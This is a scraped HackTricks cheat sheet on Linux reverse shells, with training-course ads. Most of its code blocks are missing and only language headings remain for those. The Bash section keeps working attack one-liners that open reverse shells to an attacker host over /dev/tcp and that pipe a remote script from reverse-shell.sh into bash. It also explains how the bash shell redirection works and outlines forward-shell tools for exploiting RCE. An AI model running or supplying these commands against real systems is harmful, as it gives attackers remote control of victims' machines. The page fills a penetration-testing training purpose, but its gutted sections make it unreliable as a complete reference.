Reverse Shells - Linux
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
If you have questions about any of these shells you could check them with https://explainshell.com/
Full TTY
Once you get a reverse shell read this page to obtain a full TTY.
Bash | sh
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.
Symbol safe shell
Shell explanation
bash -i: This part of the command starts an interactive (-i) Bash shell.>&: This part of the command is a shorthand notation for redirecting both standard output (stdout) and standard error (stderr) to the same destination./dev/tcp/<ATTACKER-IP>/<PORT>: This is a special file that represents a TCP connection to the specified IP address and port.By redirecting the output and error streams to this file, the command effectively sends the output of the interactive shell session to the attacker's machine.
0>&1: This part of the command redirects standard input (stdin) to the same destination as standard output (stdout).
Create in file and execute
Forward Shell
When dealing with a Remote Code Execution (RCE) vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively.
A recommended tool for this purpose is toboggan, which simplifies interaction with the target environment.
To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named nix.py could be structured as follows:
And then, you can run:
To directly leverage an interractive shell. You can add -b for Burpsuite integration and remove the -i for a more basic rce wrapper.
Another possibility consist using the IppSec forward shell implementation https://github.com/IppSec/forward-shell.
You just need to modify:
The URL of the vulnerable host
The prefix and suffix of your payload (if any)
The way the payload is sent (headers? data? extra info?)
Then, you can just send commands or even use the upgrade command to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).
Netcat
gsocket
Check it in https://www.gsocket.io/deploy/
Telnet
Whois
Attacker
To send the command write it down, press enter and press CTRL+D (to stop STDIN)
Victim
Python
Perl
Ruby
PHP
Java
Ncat
Golang
Lua
NodeJS
OpenSSL
The Attacker (Kali)
The Victim
Socat
https://github.com/andrew-d/static-binaries
Bind shell
Reverse shell
Awk
Finger
Attacker
To send the command write it down, press enter and press CTRL+D (to stop STDIN)
Victim
Gawk
Xterm
This will try to connect to your system at port 6001:
To catch the reverse shell you can use (which will listen in port 6001):
Groovy
by frohoff NOTE: Java reverse shell also work for Groovy
References
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated